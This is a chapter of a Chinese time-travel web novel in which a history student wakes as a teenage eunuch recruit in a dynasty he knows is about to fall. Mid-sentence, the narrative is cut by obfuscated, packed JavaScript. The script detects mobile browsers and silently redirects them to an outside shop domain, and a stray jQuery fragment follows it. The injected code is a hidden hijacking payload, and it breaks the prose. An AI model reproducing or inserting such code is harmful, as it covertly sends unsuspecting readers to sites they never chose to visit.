冯七记得很清楚，自己净身入宫那天，前朝的都城下了入秋以来的第一场血雨。
说是血雨，其实不过是他后来回忆时添上的颜色。那天落的是寻常秋雨，灰蒙蒙的，黏腻腻的，落在脸上像谁吐了口痰。只是宫里宫外都在杀人，雨水中混了太多血气，流进护城河里，把整条河染成了暗红。
所以在他记忆里，那天的雨是红的。
“走快些！”
领路的太监回头呵斥了一声，声音尖细得像指甲划过瓷碗。冯七低着头，缩着肩膀，紧紧跟着前面的队伍。一共十二个少年，最小的看着不过十一二岁，最大的也就是他这副身体的年纪——十五。
都不是自愿的。
冯七知道这些少年的来历。有些是家里穷得揭不开锅，被爹娘送来的；有些是战乱中被拐子拐了，转了几道手卖进宫来的；还有些，是被官府抓来的罪臣之后，净身充入内廷，以示皇恩浩荡。
而他呢？
他低下头，看着自己那双沾满泥水的新布鞋。
他叫冯七。三个月前，他叫冯琦。
冯琦，二十五岁，历史系研究生，论文题目是《暮华王朝宦官政治的演变与皇权关系研究》。
他至今没想明白自己是怎么来的。那天他在图书馆的地下室里翻一本旧书，书页之间夹着一枚玉扳指，颜色发黄，上面刻着一只说不清是龙还是蛇的纹样。他伸手去拿，指尖刚触到玉面，整个人的意识就像被人猛地从身体里抽了出去——
再睁眼时，他躺在一条臭水沟里，浑身是伤，喉咙干得像被砂纸磨过。
一个老乞丐告诉他，这里是京城南郊的乱葬岗。昨夜宫里往外扔了一批“没熬过去”的小太监，他就是其中一个。
他没死。
那枚玉扳指不见了。他摸了摸自己的胸口，心跳还在，只是跳得很奇怪，像是换了一个人的。
后来的事，他记不太清了。老乞丐救了他，养了他大半个月，然后把他送进了宫。确切地说，是把他卖了。卖给了一个专门替宫里收人的太监，换了二两银子。
老乞丐说：“小子，别恨我。你这条命是我捡的，我卖了换酒钱，天经地义。”
冯七没说话。他甚至觉得自己应该感谢那个老乞丐，因为他终于进了宫。
他要弄清楚自己为什么来这里。
暮华朝崇文十七年，秋。
这是他反复确认过的年份。暮华朝的最后一位皇帝——崇文帝，在位已经十七年。如果他没有记错历史，这个王朝只剩下不到三年的寿命。
三年后，北境边军哗变，大将赵崇安拥兵自立，率铁骑南下。同年，京城被围，皇宫陷落。崇文帝自焚于太和殿，暮华朝亡。
而那个篡位者，将建立一个新的王朝——启朝。
这些知识，原本只是他论文里的几行字。如今，却要成为他将要亲眼目睹的现实。
想到这里，冯七觉得荒谬极了。
他想笑，但没有笑出来。
因为他忽然意识到，自己正在走进那座即将被烧毁的皇宫。
队伍穿过了一道又一道宫门。冯七在心里默默数着——先是大门，然后是宫墙，然后是长长的甬道，两边是高不见顶的红墙，把天空切成了窄窄的一条。
雨还在下。
领路的太监终于在一排低矮的房舍前停下，回头扫了他们一眼，像是在看一群待宰的牲口。
“这里是浣衣局偏院，你们先住这儿。明日一早，自有人来给你们分派差事。”
他顿了顿，又补了一句，声音不大，但每个字都像刀子一样扎进人心里：
“别乱跑。这宫里，死个人比死条狗还容易。”
说完，他转身就走了，长袍的下摆在雨水中拖出一道浅浅的痕迹。
十二个少年站在雨里，面面相觑。
冯七是第一个动的。
他走进最近的一间屋子，里面黑漆漆的，只有一张大通铺，铺着发霉的稻草。他找了个角落坐下来，把湿透的外衣脱了，拧干，又披上。
冷。
很冷。
这不是他第一次感觉到冷。穿越以来，他几乎每天都在冷。但此刻，坐在这个肮脏逼仄的屋子里，听着外面哗哗的雨声，他忽然从骨子里冷了起来。
他想起自己原来那个世界里的家。暖气。热水。妈妈炖的排骨汤。
还有自己那张堆满了书的书桌，桌上摊着没写完的论文。
那些东西，像隔了一辈子那么远。
不，不是一辈子。是隔了一个世界。
门被推开了。
一个少年走进来，浑身上下湿透了，嘴唇发紫，在黑暗中四处张望。看见冯七后，他犹豫了一下，慢慢走了过来，在他旁边坐下。
“你……你不怕啊？”
少年看起来十三四岁，声音发颤，带着浓重的乡音。
冯七看了他一眼。
“怕有什么用。”
少年愣住了，好像没料到会听到这样的回答。沉默了一会儿，他又说：“我听说……这宫里闹鬼。以前死过好多人。”
冯七没说话。
他当然知道这宫里死过好多人。他将要见证的，是更大规模的死亡。
“你叫什么名字？”少年又问。
“冯七。”
“我叫小顺子。原来不叫这个，是带我进宫的那个人给我改的，说这名字吉利，能保平安。”
小顺子。吉利。平安。
冯七在心里默念了一遍这几个字，忽然觉得有点想哭。
不是因为感动，而是因为荒诞。在这样一个地方，这样一个人吃人的时代，一个叫“小顺子”的少年，居然还指望着一个吉利的名字能保自己平安。
就好像叫“阿福”就不会饿死，叫“长生”就不会在十五岁那年被一把生了锈的刀阉割。
“你多大了？”小顺子又问。
“十五。”
“我十四。你是哪里人？我是……”
“睡吧。”冯七打断了他。
他不想知道小顺子是哪里人，不想知道他爹娘是谁、为什么送他进宫。知道的越多，将来就越难过。
他已经看过太多历史书了。书上那些小人物的命运，从来都只有一句话：某某年，宫变，死者无算。
无算。
就是数不清。
算不清的命，就是草芥。
小顺子讪讪地闭了嘴，缩到通铺的另一头，抱着膝盖，开始无声地哭。
冯七闭上眼睛。
黑暗中，他摸到了自己脖子上挂着的那根红绳。红绳上拴着一个小小的布包，是他穿越过来之后，从原来那具身体上唯一保留下来的东西。
布包里装着什么，他还没打开看过。
他只是隐约觉得，那枚带他来到这个世界的玉扳指，或许就在某个地方等着他。
外面，雨还在下。
雨声中，隐隐约约传来一阵哭声。
不是一个人，是很多人。从四面八方传来，像风穿过枯树林时发出的呜咽声。
那些哭声很低，很低，低到几乎听不见。可一旦你听见了，就再也忘不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680408|207663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
掉。
冯七睁开了眼睛。
他忽然想起一件事。
他来之前，查过一篇关于暮华朝末年内廷的史料。上面记载，崇文十七年秋，宫中曾发生一起大规模的“不敬案”，牵连者逾三百人，其中半数以上被处死，其余的或被逐出宫，或被发配到各监做苦役。
那次清洗过后，宫中几乎人人自危。
而明天，他和小顺子，还有另外十个少年，就要被派到那座刚刚经历过屠戮的皇宫里去。
他忽然觉得自己没有想象中那么冷静。
他的手在发抖。
不是因为害怕。是因为愤怒。
愤怒自己为什么要来到这个鬼地方，愤怒自己为什么要变成一个太监，愤怒自己在原来的世界还有那么多没来得及做的事——他想读完博士，想写一本像样的书，想请那个总在图书馆三楼靠窗位置坐着的女生喝一杯咖啡。
那些事，这辈子都做不了了。
因为他连“这辈子”都不是自己的了。
他用力握紧了拳头，指甲嵌进肉里，疼得他浑身一激灵。
这疼，是真真切切的。
这命，也是真真切切的。
哪怕它是偷来的。
“冯七。”
黑暗中，小顺子忽然又开口了，声音小小的，像是怕惊动了什么。
“你说，咱们能活到出宫那天吗？”
冯七沉默了很久。
久到小顺子以为他睡着了，准备自己回答自己那个问题的时候，冯七的声音从黑暗中传来：
“能。”
只有一个字。
干净，利落，像一把刀。
小顺子不知道为什么，听了这个字，忽然就不哭了。
他翻了个身，把脸埋进发霉的稻草里，沉沉地睡了过去。
冯七却没有睡。
他睁着眼睛，看着头顶那片看不见的黑暗，在心里默念：
我叫冯七。
我来自另一个世界。
我知道这个王朝即将覆灭，知道下一任皇帝的名字，知道这场战争的结局。
但我不知道，自己能不能活到最后。
他甚至不知道自己能不能活过明天。
想到这里，冯七忽然觉得有点好笑。
一个活了两辈子的人，居然还在为明天能不能活着而发愁。
真是荒唐。
荒唐到了极致，反而让人觉得——这或许就是活着本身的样子。
外面的雨，不知道什么时候停了。
哭声也停了。
整座皇宫安静得像一座坟墓。
而他就躺在这坟墓的最深处，像一个尚未下葬的人。
不。
不是未下葬。
是已经死过一次，又被刨了出来。
至于为什么被刨出来、要做什么，他还不知道。
但他会弄清楚的。
冯七闭上眼睛。
这是他在宫里的第一个夜晚。
也是他作为一个历史见证者的第一个夜晚。
他知道，从今往后，每一个夜晚，都将是这样漫长。
而比夜晚更漫长的，是明天。
又及：
故事拉开序幕时，冯七还来不及思考那个终极问题——当历史成为你要亲身趟过的河流，一个知道结局的人，究竟该如何选择？
正如他自己所说，“荒唐到了极致，反而让人觉得，这或许就是活着本身的样子。” 欢迎来到暮华朝崇文十七年的深秋，欢迎来到冯七的故事。